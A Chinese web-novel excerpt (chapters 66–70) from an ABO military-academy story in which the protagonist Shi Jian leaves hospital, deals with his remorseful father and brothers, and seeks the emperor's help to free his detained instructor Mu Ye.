令他有些意外的是,只不过出院而已,也不算是什么很重要的事,但当天时序、时藏锋和温隅安居然都来了。 军政两大巨头同时现身联邦军医院,连温隅安这个军界新星都在,轰动了不少人,都想来巴结瞻仰一下如此权势滔天的几人,连医院附近好几条街开外的街道都是清空警戒起来的,就怕出什么意外。 然而世人眼中如此了不得的人物,此时却挤在时茧,这个圈里以为早已被家族抛弃的低等级Alpha狭窄的病房里,几乎把空气都给堵得凝滞。 时序抬着镜框,认真仔细地阅读着时茧的病历单和一些检查报告。 温隅安先是叠好了被褥,又替时茧收拾着东西,打包装在行李箱里。 时藏锋和老医生聊得很细致,问清楚了忌口,又约好了下一次来复检的时间。 反倒是时茧这个真正的病人,清闲得什么也不用做、也不知道还能做些什么,只能百无聊赖地坐在病床上,等他的父兄们把出院手续等相关事宜都办理好。 他其实也不懂明明他们每个人手底下都不知道有多少帮忙干活的副手,为什么还要浪费时间过来亲力亲为——像之前去第一军校报道时那样,把事情都扔给副官们做不就好了吗? 时茧等得昏昏欲睡,不知何时病房里也安静了下来,几双眼睛都同时看向侧躺在病床上,呼吸均匀绵长的少年。 老医生起身告辞,时藏锋客气一番后也没再多留,吩咐副官送他。 时序和温隅安则是不敢说话,连呼吸都放得极轻,生怕会打扰了正在熟睡中的时茧。 他们其实已经很久没有见到过这样柔软的、不设防的幼弟了,这段时间以来无论他们怎么讨好,时茧永远都会用一种疏离的、警惕的眼神远远看着,不允许他们的一丁点靠近。 可明明就在一年以前,时茧还没有进行二次分化的时候,他都还依旧是那副全然信赖天真的模样,会乖乖喊哥哥,特别听话的小孩儿啊。 为什么就一载光阴,一切就都变了。 后悔的种子或许是在比这更久之前就已经种下了,只是生根发芽的时候无人注意到它的存在,直到它随着那个人眼神中越来越明显的失望直至漠然,到了一眼就能看出来并且心惊的地步,他们这才猛然发现,这棵种子竟已在不知不觉之间成长为参天大树,扭曲的枝干刺破他们的心脏,吸食着他们的血肉,几乎要从胸腔里破开出来。 好叫这些人都看看,他们的心到底有多狠,把一个真正最无辜的人伤害得体无完肤。 时藏锋沉默地走到病床面前。 他打了剂量更重的抑制剂,确保这一次不会再有任何信息素溢出来伤害到他的孩子的可能性,随即抱起熟睡中的时茧,披上自己的风衣,一路稳稳地抱进车里。 第67章 第 67 章 偷来的片刻。 时藏锋已经不记得有多久没这样近距离地和时茧接触过了, 时茧还小时他总是把这个孩子抱在怀里,外人都调侃他简直像个海马爸爸,永远都把小海马藏在育儿袋里, 但随着时间慢慢流逝、时茧也慢慢长大, Alpha和Omega的生理性差别和父子该有的避嫌,让他们之间的亲密接触也就越来越少。 尤其是时茧“二次分化”成E级Alpha之后, 过大的信息素等级压制会对弱势一方造成很大的伤害, 所以时藏锋总是不敢、也不能离时茧太近, 他只能沉着脸、冷下声音, 让时茧远离自己, 不要靠近。 别过来, 就不会伤害到你。 可时茧不知道啊。 时茧只是觉得腺体很痛, 心里也很难过, 想像小时候那样, 找到父亲干燥而温暖的怀抱, 被他抱抱、哄哄, 那他不管受了多大的委屈, 吸吸鼻子就又能把自己哄好了。 但时藏锋推开了他。 而现在,那个被推开的人轮到了时藏锋,他才真正感同身受的明白, 被挚爱之人冷漠地驱赶,那是怎样一种痛彻心扉的感觉。他在战场上无论受多重的伤都没有吭过一声, 偏偏幼子一个疏离的眼神,便足够他心痛如刀绞。 他们上的是一辆做过防弹处理的房车,后排空间足够宽敞,时茧骨架很小,蜷缩着腰腿, 上半身和头都枕在时藏锋的大腿上,身上披着他的军衣披风。 时藏锋虚虚地揽过时茧的肩膀,轻轻地、温柔地轻轻拍着,像幼时哄睡一样。此时此刻的静谧安逸,却像一面最狠毒的镜子,让时藏锋看到了过去他是怎么推开时茧的—— 如果这世界上真有后悔药,那他一定会按斤买,越是贪图这偷来的一时片刻承欢膝下,他就越是憎恨从前抱着所谓苦衷而推开时茧的自己。 可惜人这辈子唯独和过去是过不去的,时藏锋压抑在心底无处可以倾述的这些遗憾、悔恨……都只能遗毒般堆积在他的心脏里,血液里,日积月累地积弊成药石无医的绝症。 时茧既是唯一的解药,也是能够推他更入深渊的绝望。 时藏锋垂眸,视线一寸寸地在时茧安稳的睡颜上划过,似乎要将这一刻伪装出来的父子宁静永远地刻进心底。 他爱抚摩挲着幼子的脸颊,现在的每一分每一秒,都算是他偷来的,无法不珍惜。 时序和温隅安,甚至连偷来这点时间的权利都没有,他们只能坐在前排,透过后视镜去观察熟睡中的幼弟,受刑般一动也不敢动,即便再想趁这个机会抱一抱他、揉一揉他,都只能把想法藏在心底。 这车上总共就他们三个高等级Alpha,其余随行人员都特意挑选了Beta,三个人还都打了高浓度的抑制剂,生怕泄露出一丝半点信息素让时茧感觉到不适,车子开得也是尽量慢,或许是潜意识里觉得有父兄在的地方就是安全的,时茧这一觉睡得很安稳,睡梦中也并未做出十分抗拒时藏锋气息的举动,这让他难免生出几分窃喜,随即又是一阵自嘲:他堂堂第九军区总指挥官,时家现任家主,时茧从小就最崇拜最尊敬最喜欢的爸爸,什么时候沦落到只要孩子不讨厌他不远离他就值得高兴的程度了。 时藏锋,看看你都做了些什么孽。 但这样的表面和谐并未持续太久,车子停稳后时茧一醒,意识到自己居然是被时藏锋或者他另外两个哥哥的其中之一抱上车时,脸色瞬间便很不好看,但也不至于就这样发作,只阴沉沉地坐起来,靠着车窗,离时藏锋能有多远就有多远。 他当然看到了在自己起身离开时,父亲眼中明显到无法掩饰的受伤神色。 但时茧也只是抿紧了唇。这又算得了什么呢?这不是他们都希望看见的吗?他只不过是在做所有人都希望他做的事,只不过是不想再抱任何期待,难道他做错了? 没有吧。 如果他做错了的话,父亲和兄长们,自然会严厉地训斥自己——既然他们都只是沉默不语,那说明他这样做并没错。 时茧有些发散地想。他的手搭在车门把手上,随时都想要下车离开这一处空间的样子深深刺痛了父子三人。 “爸爸陪你一起去?”虽然知道这个问题的答案,但时藏锋还是忍不住争取,最后果不其然被冷淡回绝了。 “他们都和我一样,年纪还很小,你去会吓到他们的。” 时藏锋看着面露难色的时茧,从未想到有朝一日自己居然会被小儿子嫌弃成这样子——可明明就在一两年前,小茧都还会很兴奋、很激动地想要带Omega同学们回来玩,让他们看看他有一个多么英俊有为的父亲。 他也不禁反省,难道自己真有这么凶,或者说看起来真的上了年龄,已经不能够再作为孩子拿得出手的可供炫耀的谈资了吗? 时序和温隅安对于时藏锋的败北多多少少有些幸灾乐祸的意味在,他们本来就不高兴时藏锋仗着父亲这个一家之主的身份独自霸占着时茧,妄图赶在他们前头修复关系,现在看他这么吃瘪,自然都有几分暗爽。 也因此,更加不敢去触时茧的霉头,毕竟连时藏锋都被这么当着人甩脸色了,更遑论他们还能落得个什么好。 不过温隅安本身就是这次行动的负责人之一,抛去私情,他是时茧的直系上司,“走吧,我们一起去。” 时茧没有应答,只是安静地开门下车。 外面在下淅淅沥沥的小雨,军方的临时办公楼笼罩在一层阴郁的雾里,像时茧忧愁的眉心一样总是舒展不开,无端地叫人揪心。 温隅安长腿一跨,一把黑伞撑在时茧头顶,耳边传来Alpha熟悉的、一贯温和的声音:“你身体还没恢复完全,别淋雨打湿了伤口。” 时茧抬眸,在伞下看了温隅安一眼,冰冷的、淡漠的,不带丝毫感情。 寒风细雨,绵绵如丝,温隅安如坠寒窖。 他从来也没有在时茧这双漂亮得仿佛蓝宝石一般的眼睛里看见过这么决绝的眼神,他见到过单纯的仰慕、欣喜,到后来的受伤、失望、愤怒、憎恨……他几乎要体验过时茧所有最浓烈的情绪,并以此汲取生存下去的药,而如今,那双眼睛里却任何情绪都没有了,好像他的名字、他这个人,从此以后与时茧而言,就是一个毫不相关的人。 时茧……时茧…… 温隅安险些就要忘记了,他姓温,时茧姓时,他们本就不是同一个姓氏,也不像时序和时藏锋那样,跟时茧流着一脉相承的血液,他只不过是时家的养子、是时藏锋捡回来的一条狗,除去那层岌岌可危的养兄弟关系之外,他和四件之间竟然就再也没有其他任何相关的关系了! 只要时茧愿意,他可以连他的养兄都不再是—— 他甚至没有那层最后的血脉牵连着!! 温隅安脸色发白,嘴唇颤抖着,久久没能回过神来,直到驾驶座的副官提醒,他猛地抬头,才发现时茧早已走出了手中这把伞的庇护范围。 但他也没有淋到什么雨,因为那些担心着他的安危的同学们早就收到消息,此时早已焦急地等候在门口,只是碍于下着雨不好出来,然而远远地一看见是那道纤细的、摇摇欲坠的蓝色身影,再也顾不上那些有的没的,全都一股脑地涌过来,将时茧团团围在中间,七嘴八舌地说着什么。 很热闹。他像一个混迹江湖的千金大小姐,正和自己的侠客朋友们聚会一样,那是他们同龄人之间的话题和相处方式,无论是他、时序,还是年纪更大的时藏锋,都融入不进去,只能在远处吹着冷风冷雨,羡慕地看着那些能得到时茧眼神施舍的年轻Alpha们。 然而也只有身处其中的人才知道事情并非时家父子所想的这样,时茧对于这些第一军校的同学,实际也并不怎么热络,只是稍微要比与家人相处时的冷硬态度,要更加缓和一些。 且仅有的缓和神色,也都是只展现给特定的几个人看的。 沈行川,付岩,顶多加上一个隋边。 其他人,他从来没有认真地记过。也不明白,他们为什么忽然间对自己抱有这么大的热情,明明还在军校时,他们都只是充当着冷漠的看客啊。 难道是他的记忆哪里又缺失了一些吗? 至于余宸,和他身边的那个小跟班—— 时茧随便扫了一眼,没有在簇拥的人群之中看见,也就没太在意。 沈行川一边替时茧打着伞,一边恭喜他获得了皇帝陛下亲赐的联邦之星荣誉勋章,激动得仿佛是自己拿了大奖一样:“以前的联邦之星可都是只颁发给军校大四学员中有过突出贡献的!你现在还只是一个一年级生,才刚参与过一次军事任务,就拿下了这么至高无上的荣誉,这简直就是新生代中第一人,不,简直就是前无古人后无来者!” 时茧被他说得也有些心血澎湃,自从在病房里醒来之后,他已经很久都没有像现在这样感受到心脏在剧烈跳动。他是这么年轻、这么渴望建立功勋的军人,无论最初出于何种目的,也无论他曾是多么柔弱不堪一击,经过一年艰苦卓绝的磨炼,他早已成为了那把最尖、最利的军刀,他有万千的信心亮剑必胜。 沈行川是真心替时茧高兴:“学校在得知后也决定举办一场表彰大会,到时候你肯定首当其冲。不过温长官说现在一时半会儿还回不到学校,所以先把消息告诉给大家就行了,我估计这次任务圆满成功,取得了这么大的收获,应该会人人都记一笔功劳吧。” 付岩补充道:“说不定你会成为我们之中第一个,也可能是唯一一个被皇帝陛下授勋的人。” 第68章 第 68 章 自卑。 最近皇帝陛下这几个字出现得过于频繁, 更何况顾识云还是…… 即便还没有真正和这位联邦的诺曼皇帝见面,时茧对他的观感已经降得很低,并没有带有多少向往去对待这即将到来的一场会面。 他和沈行川等几个相熟的朋友讲述了这些天的经历, 大多数时候都是躺在病床上度过, 在讲到是怎么和顾识云双枪匹马闯进极端组织基地、又是怎么躲过爆炸端了组织老巢时,陆空指小队的所有人都聚精会神, 听得津津有味, 在时茧简单的陈述中发出一声声惊叹。 不知不觉, 这个身形单薄纤细、常被当做花瓶的少年, 竟然这么快就成长为一群贵族优等生中也拔得头筹的存在, 每个人都心甘情愿地用仰视、崇拜的眼神看着他, 如同星星围绕月球转动那般拱卫着他。 这么多人里, 唯独时茧被围在最中心, 人人都仰望他、赞叹他。 那么耀眼, 那么夺目。 连在一旁远远看着, 一直都不作声的温隅安, 也被人群中仿佛闪闪发光的时茧而不自觉地吸引, 目光一直都放在他身上,无论周围有什么干扰都不能打断他对那人的凝视。 那蛇类似的竖瞳里褪去了平日的伪装,不掺杂任何除了单纯欣赏之外的复杂感情, 就只是一种骄傲与感叹,像一个正常的家人、看着弟弟长大的哥哥, 所生出的“吾家有弟初长成”的五味杂陈。 温隅安知道时茧从小就是同辈里的佼佼者,他出身高贵、品行纯良,骄傲又谦逊,自信而大方,美貌只不过是他诸多有点中反而最不值一提的东西。但即使是见过了曾经那么优秀的时茧的温隅安, 也从未想过经历了二次分化沦为残次品Alpha的时茧,在熬过最初的阵痛之后,居然依旧可以做到绝大多数人都不可能做到的事,得到这么多人发自心底的认可,这实在是一件太了不起的事情。 他扪心自问,别说是同年龄段时的自己,哪怕就放在现在,他不管是为人处世也好,还是执行任务也罢,都已经足够成熟的现在,他自觉自己也根本比不上年纪轻轻却有着坚定心性的时茧。 温隅安既高兴,又有着一些怅然若失,他禁不住在心底感慨,老天爷究竟有多偏爱时茧,让他得以长成这样的芝灵毓秀、风华绝代,优秀到人只得望其项背,连最寻常的嫉妒心都完全生不起来,只会想这样的人哪怕只是隔着人群远远地看上一眼,这辈子都算是活够了。 温隅安既高兴时茧能够有这样令人惊艳的蜕变,但同时,那种从小就如骨附蛆般生长在他胸腔里的自卑又熊熊燃烧起来。他是S级的Alpha又怎么样,一则联邦法律根本不允许同性别之间通婚,二则他先前曾经对时茧做出那么多过分的事,他还有什么颜面求得对方的原谅? 而最最重要的一点就是,哪怕等级低下,时茧也从未自暴自弃过,他从不把等级挂在嘴边,不以基因等级来评判一个人,相比之下,他的优越感简直愚蠢得让人发笑,看起来就像是一个可怜的只拥有一颗普通糖果紧紧抱在手里的吝啬孩童。 温隅安心头涌上一阵绝望,他不知道还能拿什么来挽回时茧,做了那么多错事又理念完全不相匹配的他,到底还能通过些什么办法重新让时茧注意到自己,来讨好他、博得他欢心,哪怕像条使劲浑身解数逗人取乐的小狗,只要能让时茧愿意再多看几眼,他都愿意去做。 沈行川余光看见温隅安有些落寞地离开,不知道要不要跟时茧说声,犹豫再三后,他想起来对方曾经在课堂上对时茧做过的事,最终还是决定少在时茧面前提起这个人为妙——而且,他总觉得其实时茧知道温隅安的一举一动,只是故意无视了。 沈行川不想讨这个嫌。他笑嘻嘻地说:“到时候把勋章借我戴戴行不?我拿过最大的奖也就学期末的优秀学员了,哪能比得上你这了联邦之星啊。” 时茧:“我还是少让付岩跟你玩吧,免得被你带坏了。” “哎哟你这是什么意思!我跟你说这几天我过得可惨了,天天都被压榨去整理审讯资料,尽干这些无聊又没技术的活儿,要是我当时也跟着你一起去只身闯龙潭虎穴就好了,哪怕让炸弹把我炸个半死不活好歹也留个英雄名呢,不至于在这儿打白工。”沈行川吐槽道。 付岩温吞地说:“为什么你们都想着缺胳膊瘸腿,我想的是,如果每次任务都能像这几天这么安全就好了,不要有任何的人员伤亡,大家都和和气气地。” 时茧在心里赞同付岩的话。 能平安回来,活下去—— 比一百个联邦之星还重要。 在地动山摇的那一刻,时茧最害怕的,也不过就是怕真的死在那儿,死在一个暗无天日的地方。 他抬起头,视线在人群中扫了一圈,沈行川和付岩在辩论拌嘴,隋边坐在草地上擦拭武器,陆空指其他人陆陆续续都被叫去干活,大家虽然忙得脚不沾地,但每个人身上都穿着干净整洁的军装、脸上也没有任何惊慌失措的模样,营地里只充斥着Alpha们各式各样的信息素的味道,没有任何硝烟和血腥味,哪怕是已经走远快出哨门的温隅安,除了背影看起来有些落寞之外,也都是安安全全的—— 所有人,都还好好地活着。 时茧想,这可能就是他当时迎着爆炸冲上去时,想要保护的东西。 他的记忆里总是有着死气沉沉的废土画面,除了他自己之外,举目四望,满目疮痍、荒废残破,整个世界都好像死了一样。 还好,现实和记忆不同。 但时茧总有点违和感,这么多人里,为什么…… “教官呢?”时茧皱着眉头,“皇帝将为我授勋、颁发我联邦之星的消息,不应该是直属的带队教官通知吗?” 可他从医院,到现在在营地,熟悉的人都见过了,唯独没有看到过牧野。 他注意到沈行川的身形僵硬了一下,有点支支吾吾不知道该怎么回答:“呃……这个嘛……” 沈行川飞快地看了眼付岩,后者有点结巴道:“教、教官暂时有事脱不开身,你要授勋的消息是时上将通过温教官,又告知给班长这样传达下来的。” 沈行川立刻点头:“对!” 隋边似乎欲言又止,但真当时茧和他的视线对上时,他忽然又不说话了。 时茧直觉事情不简单,立刻冷下脸,语气严厉:“到底发生了什么事,你们别瞒着我。” 沈行川、付岩和隋边三人对视一眼,刹那间就已经完成了所有交流。 ‘肯定瞒不过小茧的,怎么办啊,该怎么说?’ ‘如实说。’ ‘这……说了麻烦更大了喂!’ 但最后,沈行川还是在泄气叹气之后,有点丧地回答时茧:“其实教官已经被军队督察带走很久了。” 时茧眉心一紧:“他被督察带走了?!” “唉,准确来说,从你和顾学长潜入极端组织确认失踪后不久,教官就被带走了。那时我们正商量着该如何营救你,那群不知道是谁势力的督察就来了,非常强硬地指控教官与军官勾结,为了利益关系才把不在外派名单上的学生私自带入军队,严重妨碍到了任务执行。”沈行川说,“当时温教官也在场,阻拦无果后,那些人就把教官带走了。教官为了不耽误救你,也没怎么争辩。” 时茧握紧拳头,一股怒气直冲脑门。他就知道牧野被督察队带走一定是因为自己,毕竟牧野虽然平时吊儿郎当没个正形,但干起工作来绝不含糊,为人也政治清廉,基本不可能会被人抓到他自己疏漏下的小把柄。 那就只能是拿他私自加入小队、未报备就脱离学校的这件事开刀了。 时茧默数了一下牧野被带走关押的时间,眉头皱得越来越紧:“快两个星期了,他们居然还没放人,我得去把他带回来。” 沈行川和付岩立刻紧张道:“不行!你在他们眼里本来就涉嫌妨碍军事,现在去简直就是送上门,就算搬出皇帝陛下,一句功过另论就找不到反驳点,最后搞不好两个人都搭进去了。” 隋边说话则更直接:“他以前不是经常针对你吗,反正都互相看不顺眼,现在有人替你惩治,不是更好。” 时茧的拳头越握越紧,指甲已经逐渐嵌入肉里:“我和他是有龌龊,但还不到你死我活的地步,况且这次他是因为我才会有这场无妄之灾,我必须为此承担责任。” 隋边皱眉:“可你应该怎么做?以你一个人的力量,是不足以对抗督察组的。你应该清楚,在军队里,督察就是天;就像在军校里时,顾识云作为纪察部部长,权利比普通行政办公室主任还大。” 沈行川和付岩也劝道:“对啊,他们连教官都已经退役了都不在乎,说明平时嚣张惯了,你一个军校生,还没有真正进入军队,哪来的资本跟他们抗衡。” 时茧沉默许久,这些问题刻薄而尖锐,他不得不思考该如何面对。 沈行川见他不说话,小心地问:“你改变主意了?” “不。”时茧转身,眼神坚定,“我知道该怎么办。” 剩下几人对视,最终还是不放心地跟上去:“你别冲动,大不了大家一起想办法。教官又不是你一个人的教官,我们也有责任救他。” 时茧断然拒绝:“你们别跟着我。” 沈行川气愤:“为什么?!你不要老是单打独斗,明明我们,明明我们也是你的左膀右臂啊!” 付岩和隋边虽没说话,但眼神表达了一切。 时茧无奈道:“面对特权,当然有用特权解决的办法。我有特权,或者说我就是特权,你们是吗?最后真出事了,我家里人不会冷眼旁观,一定会想尽办法捞我,你们有人捞吗?” 三人默默对视一眼,又兴奋又无语又酸:知道你爸是第九军区总指挥官,知道你哥是上议院议长,知道你养兄是上尉了,两个耳朵两个眼睛都听到看到知道了,能不要表现得这么理所当然吗!!特权阶级的混蛋啊!!! 第69章 第 69 章 继承者。 时藏锋没想到时茧居然会主动来找自己, 当即用眼神示意正在开会的几位军官先行回避,克制着心底油然升起的激动,但嘴角仍是有些压不住:“不再和你的朋友们叙叙旧吗?” “等回军校有的是时间。” 听到时茧对自己一如既往冷淡的语气, 时藏锋有些许失落, 嘴角的弧度也下去了些:“小茧找爸爸有什么事?” 时茧开门见山道:“你应该知道牧野教官被军方督察组的人带走了,他完全是因为我的擅自行动才会有这场无妄之灾, 所以我也有必要把他从督察组救出来。” 他一点也没掩饰, 大大方方地表示早已经清楚牧野就是时藏锋安排在他身边的一员, 第一军校说是独立于联邦的几大统治势力之外, 但并非铜墙铁壁, 余维能够疏通关系, 时藏锋自然也能插入不少眼线, 安全也只不过是相对的安全。 时藏锋也不隐瞒, 坦然道:“可这也是他的作用之一。你也知道, 九大军区之间互有倾轧, 我和你的雷洛叔叔、邵庭叔叔互为一派, 余维当然也有他那一方势力的拥趸, 这其中还掺杂几个中立军区负责人,且只是军方内部就斗得这么狠,一旦让余维拿到什么时家的把柄, 他势必会不死不休。他在我身上,在你的两个哥哥身上是很难下手的, 唯独你年纪还小,身边也没有可利用得上的势力,所以把你作为突破口事半功倍。” 他顿了顿,在提到牧野时,语气也有惋惜, 但只是转瞬即逝:“我最初的计划……算了,你听过后也许会更讨厌我。但作为Alpha,尤其是低等级的Alpha,目标一定要比高等级的稀缺性Omega小。第一军校虽然不是什么好地方,但除了皇帝,也没有几个人能把手伸得这么长。牧野是个很好用的挡箭牌,他作为你的教官,哪怕你真的被抓住什么把柄,对方想要构陷你,也只能先问责实际服役过的教官而无权扣押审讯军校学生——就像这次。” “你来找我,是想让我想办法把牧野救出来对吗?”时藏锋看着时茧的眼睛,喟叹一声,似笑非笑道:“但是小茧,这几乎是他注定的结局,他是我给你安排的死士,即便不是这一次,以后你有危险,他都会挡在你的面前。” 时茧本能地厌恶道:“我不需要你给我安排这种东西——” 时藏锋温和地说:“是的,这是我替你安排的。所以本质上,牧野是我的人,并非你的人,他会听从我的命令。” 而时藏锋的命令,无非就是需要牧野无条件地将时茧保护好,哪怕代价是付出自己的生命。 可时茧印象中的牧野最看不惯他这样的纨绔子弟,尤其是前期,总一副贱嗖嗖的样子来责怪刁难他,但他在被余宸屡次欺凌时牧野也会站在他这一边拉偏架,守在思过楼担心他会因为报复心理过重而造成什么不可挽回的恶果,这明明是一个活生生的、有血有肉的人,是一个有着独立意识的自由的个体,他又怎么会、怎么可以去做一个将他人的性命放在自己的性命之前,甘愿当个替死鬼的所谓死士? 可时茧也找不到任何话能够反驳时藏锋,所以他只是倔强地站在那里,握紧了双拳,微微仰起的脸蛋年轻得不能够再年轻,连那些浅色的小绒毛阳光下都散发着金色的光芒。在那一刻他确实耀眼,连时藏锋都恍惚了一下。 “在生爸爸的气?对不起,我不该擅作主张把人安排到你身边。”时藏锋认真道。 时茧并不在乎,只是说:“如果你真觉得对不起我,那就帮我把牧野救出来。” “他重要,但也不重要。最重要的是,第一军校囊括了全联邦所有青年才俊中的佼佼者,他们之中不乏家世优越者,或是基因等级极高等等。无论是哪一种,我相信凭借你的人格魅力,足以吸引不少崇拜你、追随你的人。从第一军校里培养出来的这些追随者,才是真正完全属于你自己的力量。在未来的某一天,他们一定会像现在的牧野一样,为了你愿意去做任何事,包括付出生命。” 直到这一刻,时茧或许才真正明白,时藏锋为何一定要将他送去第一军校。他隐隐约约摸到了时藏锋的某种想法,有些不可思议:“我要这样一群追随者做什么?” 时藏锋只是看着他,温柔笑道:“学生时代的情谊最真挚,也最令人难忘;战友情则叫人生死相托,以命相报。你早就做好了成为一个联邦军人的准备了不是吗?那想没想过,只有这样的一群人,同你经历过同窗、战场,才会从理智到情感上都依托着你,也才会成为你手中最坚实的力量。” “小茧,我不想要让你真的只是一个无论等级多高、自身多优秀,都注定只能嫁给S+Alpha的Omega,你是这么的耀眼,犹如联邦最宝贵镶嵌在皇帝权杖上的那颗珍珠,不应该被冠以某个位高权重的Alpha的夫人的称呼——位高权重这四个字,本身就是属于你的,对吗?” 时茧从未想到父亲会对自己说出这样一番话,他的瞳孔极具收缩,显然是极度惊讶的表现。 时藏锋站起来,走到时茧面前,摘掉手套,用干燥而炙热的、遍布枪茧的手掌,摩挲着幼子的脸颊,眸光里有着某种沉重的光芒在闪烁。 “第九军区总指挥官这个称呼听起来怎么样?是不是要比指挥官夫人更酷一点?” 时茧因为震惊,都忘记躲开时藏锋的爱抚,有些愣怔的睁大着眼睛看向他。 “你的眼神让爸爸有些受伤,”时藏锋无奈哂笑,“像在看什么招摇撞骗的骗子。” 时茧的心冷得很:“难道不是吗。” 时藏锋轻声笑出来:“那你是为什么觉得爸爸不会把这个位置留给你?因为自己以前是个Omega,而联邦目前没有Omega军区总指挥官的先例?还是觉得,我会把权力传承给你的大哥,或者二哥?” 时茧直勾勾地看着他,仿佛在重复那句话,‘难道不是吗’。 美洲角雕突然飞出来,在室内低空盘旋几圈后,稳稳地落在时茧肩头,见对方并没有赶走自己,于是瞬间抬头挺胸,颇为自豪地瞄了一眼时藏锋,挪动着爪子一步步挪到时茧脖子边紧紧挨着,用尖锐弯曲的喙替少年整理着乱在耳边的头发。 时藏锋也并未像从前那样不留情面地将精神体收回去,放任它亲亲热热地黏着时茧。 时茧虽没驱赶,但也没太理会军刀,反问时藏锋:“我的两个兄长如此优秀,并不逊色于谁,又都是高等级Alpha,你不把你的位置留给他们,却留给我?” “时序文人习性,打骨子里的凉薄,为人处世过分的理性寡情了,他和军队的脾气是相斥的,我从来就没有考虑过要让他进部队。”时藏锋理智而平静地点评着这两个儿子,“至于温隅安,他拥有S级的优秀基因,心性不定却是最大的短板,我想他这样的人,或许站在辅助的位置上会更适合。作为一个可以支撑你走得更远的人,他是合格的。” 时茧逐渐消化了时藏锋的宏伟蓝图,他并不去想这至少还得是十几年后的事情,也并未觉得这第九军区总指挥官的位置自己已然唾手可得,但不妨碍他以此作为筹码之一。 “如果你需要我继承这个位置,我不介意;你认为第一军校可以为我招揽到最初的一批追随者,这我也同意,不过——作为未来的第九军区总指挥官,我现在需要把我的教官和追随者之一从我的敌人那里救回来。”时茧冷静道。 他看着时藏锋的眼睛,不卑不亢,据理力争:“想让他人心甘情愿地追随,那也必须让他们看到追随我可以得到的东西,在我不能许诺给他们锦衣玉食、富贵荣华之前,至少我要让所有关注我的人知道,我不会抛下任何一个追随者。” 时藏锋和他对视良久,最终,也败下阵来似的,轻叹了口气:“虽然你在对爸爸冠冕堂皇地撒谎,但你的谎言却又是真理,我的确是找不出任何话来反驳。” 时茧眼神一亮。 时藏锋苦笑道:“但这件事,我,甚至说整个与第九军区有牵连的权利机构或组织,都不适合出面保人,这更会坐实军区与军校存在不正当往来,无论对你、我,还是牧野,都将因此而被调查,他们也就更有理由顺理成章地折磨牧野。” 时茧眼里的光芒一点点消散,就在他以为这件事再没有转圜余地时,时藏锋忽然画风一转:“不过,有一个人不受这些规则的管束,如果他愿意为为此付出一点不足挂齿的代价,那么想让牧野全须全尾地从督察组回来,那就也不是一件难事。” 时茧握紧掌心,已经隐隐猜到了这个人的身份。约摸五六次呼吸之后,时茧道:“那我要提前见他,我多一天、一刻都不想再等。” “乐意之至。”顿了顿,时藏锋又很轻地叹了口气:“其实你就算不说那些违心的话,只是对爸爸撒个娇,我也会帮你促成这件事。” 可惜原来眼里都是他的小儿子,已经被自己亲手推远,眼里有了更多人,却不再有他。 第70章 第 70 章 皇帝。 时藏锋此时此刻只剩下一个想法, 惟愿能够尽力弥补时茧。 “原定的授勋仪式本该在三天后举行,但想来你是等不了那么久的,所以今天晚上我就带你去见皇帝。”时藏锋正色道, “按照规定, 皇室和各军区高层不得有亲密往来,以免两方权利相勾结, 不过作为最高长官, 军区总指挥官在事态紧急的情况下, 拥有通报后直接向皇帝述职的权利。我会让温隅安把这次Omega极端崇拜组织的审讯资料整理好, 以此作为契机, 让你作为我的副官, 和我一起进入皇宫。” 即使还没有真正进入军队, 尚未完全接触到这个层级的密辛, 但时茧能够意识到即使位高权重如时藏锋, 想要私底下见皇帝一面也很难, 此事必然不可能保密, 他的政敌一定会拿这件事攻讦他有和皇室勾连, 可时藏锋还是眼睛也不眨一下地就吩咐下去了。 看着在和温隅安打电话的时藏锋,幼时那个满心满眼都是他的父亲的形象似乎正在逐渐重叠,时茧在恍惚间也分不清楚时藏锋到底是变了还是没变, 即使他不想,却也不得不承认, 这次是他的父亲顶着莫大的压力在帮他营救一个“弃子”。 是在发现自己的办法错误之后一种小心翼翼地道歉,是一种极度愧疚之后日夜辗转想要奉上一切的补偿,那些隐没在胸口未曾言说的字字句句,时茧隔着不近不远的距离,通过血脉这条联系, 听到了来自另一个胸腔里低沉的声音。 可他却没办法回应。 那些曾经受过的伤害、吃过的苦头,随着破碎的记忆早已一同裂成千千万万块反光的镜子,在他空白的大脑里铺了一地,已经凑不成完整的情绪。他对时藏锋没多少恨,自然也没多少爱了,这种在过去一定能够打动他、让他对无所不能的父亲崇拜星星眼的举动,如今却只让时茧苦恼一件事,就是该怎么还上这份人情。 他来找时藏锋当然是存了刻意利用他的愧疚心理的想法,但时茧也从来觉得时藏锋就必须要替自己把事情解决,他早就想好了,如果时藏锋肯帮他,那他之后也一定会投桃报李;如果不肯帮他,那他也不会太失望,毕竟比这更失望的事情也早就经历过。 时藏锋没有错过时茧思考时的神情,是令他无比陌生的理性和冷淡。 时藏锋自然不会奢求被自己伤透心的儿子这么快就能够原谅自己,他只剩下后悔,如果时间能够回到过去,他不再让时茧去什么狗屁的第一军校,也不再让他学着成熟理智—— 现在你满意了吗,你的孩子又独立,又冷静,完完全全都按照着你预想的方向成长了,成长得这么优秀、这么理性。可他再也不会全无芥蒂、用着那种天真的撒娇语气喊你爸爸,无论你给他什么,他也不会像从前那样心安理得收下,炫耀一圈“爸爸最喜欢我了”。 时藏锋再一次地,第无数次地,意识到自己弄丢了对于他而言是多么珍贵的宝贝。 他一生杀人无数,从未忏悔,然而此时此刻,隔着半米远的距离,时藏锋竟也有些动摇,这是他的报应吗?惩罚他与小儿子离心离德,余生都不再拥有任何天伦之乐的可能? 一直到皇宫,时藏锋的心思也全都牵挂在时茧身上,他暂时压制住心底那些胡思乱想,低声叮嘱道:“不要露怯,藏在我身后,他们的重心都在我身上,不会怎么检查你的,别担心。” 面对父亲的关心,时茧也只是淡淡地应了一声,听话地将身形藏在时藏锋背后,而这一点儿难得的乖巧,让时藏锋与大总管周旋时的笑容多出一份真实,眼神也渐渐柔软起来。 他想起时茧更小一点的时候,他带着小孩赴宴时,这孩子也总是这样抓着他的衣角,怯怯地躲在他身后。 时藏锋想,不管到了什么时候,父亲宽阔的身躯,都会是一座沉默的山,接近所有地替身后躲着的那个小家伙挡下这个世界的一切狂风暴雨,为他缔造一方温暖干燥、安全舒心的角落。 只要他还能呼吸,就不会让他的孩子受到任何伤害。再也不会。 在那位头发花白但神采奕奕的大总管扫过来时,时茧微微咽了下口水,控制着自己不要移开视线,坦荡地与对方相视。 果然如时藏锋所言,在递交过申请之后,皇室卫兵们只是例行检查了一番,并未刻意为难人,时茧得以顺利进入这在绝大多数人眼中都神秘恢弘的皇宫。 